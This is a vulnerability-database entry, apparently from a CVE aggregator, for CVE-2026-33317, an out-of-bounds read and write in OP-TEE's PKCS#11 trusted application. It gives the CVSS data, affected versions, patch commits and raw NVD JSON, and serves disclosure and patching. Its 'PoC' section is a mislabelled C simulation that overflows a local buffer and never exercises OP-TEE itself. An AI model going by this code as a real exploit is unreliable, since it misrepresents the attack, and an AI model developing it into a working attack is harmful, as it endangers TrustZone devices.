Security Vulnerability Report
中文
CVE-2026-33317 CVSS 8.7 HIGH

CVE-2026-33317

Published: 2026-04-24 03:16:11
Last Modified: 2026-04-27 14:50:13

Description

OP-TEE is a Trusted Execution Environment (TEE) designed as companion to a non-secure Linux kernel running on Arm; Cortex-A cores using the TrustZone technology. In versions 3.13.0 through 4.10.0, missing checks in `entry_get_attribute_value()` in `ta/pkcs11/src/object.c` can lead to out-of-bounds read from the PKCS#11 TA heap or a crash. When chained with the OOB read, the PKCS#11 TA function `PKCS11_CMD_GET_ATTRIBUTE_VALUE` or `entry_get_attribute_value()` can, with a bad template parameter, be tricked into reading at most 7 bytes beyond the end of the template buffer and writing beyond the end of the template buffer with the content of an attribute value of a PKCS#11 object. Commits e031c4e562023fd9f199e39fd2e85797e4cbdca9, 16926d5a46934c46e6656246b4fc18385a246900, and 149e8d7ecc4ef8bb00ab4a37fd2ccede6d79e1ca contain patches and are anticipated to be part of version 4.11.0.

CVSS Details

CVSS Score
8.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:o:linaro:op-tee:*:*:*:*:*:*:*:* - VULNERABLE
OP-TEE 3.13.0
OP-TEE 3.14.0
OP-TEE 3.15.0
OP-TEE 3.16.0
OP-TEE 3.17.0
OP-TEE 3.18.0
OP-TEE 3.19.0
OP-TEE 3.20.0
OP-TEE 4.0.0
OP-TEE 4.1.0
OP-TEE 4.2.0
OP-TEE 4.3.0
OP-TEE 4.4.0
OP-TEE 4.5.0
OP-TEE 4.6.0
OP-TEE 4.7.0
OP-TEE 4.8.0
OP-TEE 4.9.0
OP-TEE 4.10.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * Conceptual PoC for CVE-2026-33317 * Demonstrating the logic of triggering OOB Read/Write in entry_get_attribute_value */ #include <stdio.h> #include <stdint.h> #include <string.h> typedef struct { uint8_t* data; size_t size; } Template; // Simulated vulnerable function void vulnerable_get_attribute(Template* tpl, void* attr_data, size_t attr_len) { // Missing bounds check logic here // Real vulnerability: reads up to 7 bytes beyond template buffer // and writes attribute value beyond the end. printf("[+] Triggering OOB Read/Write...\n"); // Simulate OOB Write: Writing beyond the allocated buffer size // This corresponds to writing attribute value content memcpy(tpl->data + tpl->size + 2, attr_data, attr_len); printf("[+] Wrote %zu bytes beyond buffer boundary.\n", attr_len); } int main() { printf("CVE-2026-33317 PoC Simulation\n"); printf("Product: OP-TEE\n"); printf("Vulnerability: Out-of-bounds read/write in PKCS#11 TA\n\n"); // Setup a template buffer (simulating the TA heap allocation) uint8_t buffer[32]; Template tpl; tpl.data = buffer; tpl.size = sizeof(buffer); // Malicious attribute data to be written OOB uint8_t payload[] = {0x41, 0x42, 0x43, 0x44}; // "ABCD" // Call the vulnerable function with a bad template parameter // In a real attack, this is done via PKCS11_CMD_GET_ATTRIBUTE_VALUE vulnerable_get_attribute(&tpl, payload, sizeof(payload)); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33317", "sourceIdentifier": "[email protected]", "published": "2026-04-24T03:16:11.020", "lastModified": "2026-04-27T14:50:13.087", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OP-TEE is a Trusted Execution Environment (TEE) designed as companion to a non-secure Linux kernel running on Arm; Cortex-A cores using the TrustZone technology. In versions 3.13.0 through 4.10.0, missing checks in `entry_get_attribute_value()` in `ta/pkcs11/src/object.c` can lead to out-of-bounds read from the PKCS#11 TA heap or a crash. When chained with the OOB read, the PKCS#11 TA function `PKCS11_CMD_GET_ATTRIBUTE_VALUE` or `entry_get_attribute_value()` can, with a bad template parameter, be tricked into reading at most 7 bytes beyond the end of the template buffer and writing beyond the end of the template buffer with the content of an attribute value of a PKCS#11 object. Commits e031c4e562023fd9f199e39fd2e85797e4cbdca9, 16926d5a46934c46e6656246b4fc18385a246900, and 149e8d7ecc4ef8bb00ab4a37fd2ccede6d79e1ca contain patches and are anticipated to be part of version 4.11.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.0, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linaro:op-tee:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.13.0", "versionEndIncluding": "4.10.0", "matchCriteriaId": "FECA641D-57EA-4C17-9B63-2861A117DE5C"}]}]}], "references": [{"url": "https://github.com/OP-TEE/optee_os/commit/149e8d7ecc4ef8bb00ab4a37fd2ccede6d79e1ca", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OP-TEE/optee_os/commit/16926d5a46934c46e6656246b4fc18385a246900", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OP-TEE/optee_os/commit/e031c4e562023fd9f199e39fd2e85797e4cbdca9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OP-TEE/optee_os/security/advisories/GHSA-8cqw-mg7v-c9p9", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory", "Exploit"]}]}}